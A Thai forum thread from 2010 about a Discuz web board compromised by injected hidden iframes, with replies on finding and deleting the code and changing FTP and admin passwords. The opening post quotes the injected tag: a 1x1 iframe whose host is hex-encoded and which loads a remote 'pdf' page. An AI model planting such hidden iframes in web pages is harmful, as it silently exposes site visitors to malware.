ใครใช้ Board Discuz แล้วโดนโจมตีแบบนี้บ้าง

dragonexe · โพสต์ 2010-1-16 00:38:17

แก้ไขล่าสุดโดย dragonexe เมื่อ 2010-1-16 00:40

แก้ไขล่าสุดโดย dragonexe เมื่อ 2010-1-16 00:39

ผมทำเว็ปไว้ที่นี่นะครับ http://www.aunimeki.com/ แต่ส่วนของ Forum มันเจ้งทุกหน้าเลย เพราะโดนแทรก Script iframe แปลก ๆ เขียนเอาไว้

<iframe src='http://%6E%6A%61%6E%79%75%6E%2E%63%6F%6D/pdf/pdf.html' width=1 height=1></iframe>

คัดลอกไปที่คลิปบอร์ด

ทำให้ เปิดหน้า Forum แล้ว โดนให้มองเห็นที่ขนาด 1x1 โดนแทรกทุกหน้า (มันจะแทรกอยู่ล่างสุดของ Page Code ครับ) พอเอามาแก้แล้วอัพไปใหม่ก็ไม่หายเป็นเหมือนเดิม จนปัญญาเลย ผมว่าคงต้องไปใช้ BB3 ล่ะ - - เศร้าจริง ยังไงก็จะลองหาทางดู ยังไงถ้าใครโดนแล้วแก้ได้ช่วยแนะนำทีครับ แต่ถ้า ไม่มีใครแก้ได้ก็ไม่เป็นไรครับ เอามาฝากครับ เผื่อใครเขียนแบบเปิดให้ใช้ Script IFRAME ใน Discuz Code ครับ อาจเป็นช่องโหว่ให้โดนโจมตีได้ครับ

sangvichai · โพสต์ 2010-1-16 00:58:38

เวรกำผมต้องปิดแล้ว

dekza0007 · โพสต์ 2010-1-16 01:30:00

ผมว่าน่าจะติดจากเครื่องที่ FTP นะคับ
ปัญหานี้เห็นเจอกันหมดแหละคับไม่ใช่แต่ดิสคัสอย่างเดียว
ถ้าเครื่องคอมที่ FTP มีไวรัสฝังอยู่

princekoong · โพสต์ 2010-1-16 01:39:22

เปิดไฟล์ index.php , index_classics.inc.php , index_feeds.inc.php , discuz.htm ของเว็บบอร์ด

ลองค้นหาโค้ด

iframe ดูครับถ้ามีก็ลบออก

sutouch · โพสต์ 2010-1-16 08:12:21

รีบแก้ด่วนเลแจ้งจาก google นะครับ ก่อนที่จะโดน

MinT · โพสต์ 2010-1-16 08:23:30

ตอบกลับ 1# dragonexe

มันจะฝังอยู่ ในไฟล์ config index home forums นะครับ โฟล์เดอร์ ไหนมีไฟล์มีชื่อแบบนี้รีบ ลบ ให้หมดเลย
หมายถึงให้เปิดไฟล์แล้วค้นหา ลบ ไวรัส iframe ออก

dragonexe · โพสต์ 2010-1-16 11:29:18

เดี๋ยวจะลองทำดูครับ เศร้าอย่างแรง ได้ผลยังไงจะมาบอกนะครับ ตอนนี้ Web Site โดน Firefox Block ไปล่ะ - - ยังไงก็ ขอบคุณมาก ๆ นะครับ {:22_882:}

sor_mix · โพสต์ 2010-1-16 20:07:44

ฮ๋าๆ ผมโดนมาหลายรอบแระ เอาใจช่วยครับ ลบมันออกให้หมด
ไล่ดูในเครื่องด้วยนะครับ ส่งใส่จะมีเยอะ

sangvichai · โพสต์ 2010-1-21 22:07:18

ตอนี้ตั้งทั้งระบบไฟวอลเพิ่มขึ้นมาอีกระดับและเพิ่มความปลอดภัยเรื่องสแกนไวรัสมาอีกระดับไม่รู็จะกันได้ป่าวเก็นทุกทีก็กันได้ไม่นาน แหะๆ ^^ พอดีผมสร้างไวรัสเล่นอิอิเลยกันไม่ค่อยอยู่ 555 แค่เครื่องส่วนเว็บผมป้องกันไว้ดีไม่ให้เข้าได้อิอิ

aic · โพสต์ 2010-1-23 09:29:59

ผมโดนครับ ไม่ได้หลับได้นอนมาสองคืน เป็นไวรัส iframe ที่ฝังไว้เต็มทั่วเว็บไปหมด ทั้ง php, htm, html
ลองไปโหลดตัวเ็ช็คว่า iframe ไปติดหน้าไหนบ้าง ได้ที่ http://fizscript.ishare.in.th/ นี้เลยครับ
ต้องไล่เช็คดูทุกหน้าเลย แล้วก็ replace มันออกครับ

ทำได้ผลครับ

แนะนำเพิ่มเติมก็ต้องลองเช็คไวรัสที่เครื่องตัวเองดูด้วย
เปลี่ยนรหัสผ่านเข้า host , ftp อะไรให้หมดครับ
รวมถึงรหัสผ่าน admin ที่ใช้ในบอร์ด discuz ด้วยจ้า

ลองดูนะครับ เอาใจช่วย ๆ

บัญชี		จำสถานะนี้ไว้ในครั้งหน้า	ลืมรหัสผ่าน
รหัสผ่าน			สมัครสมาชิก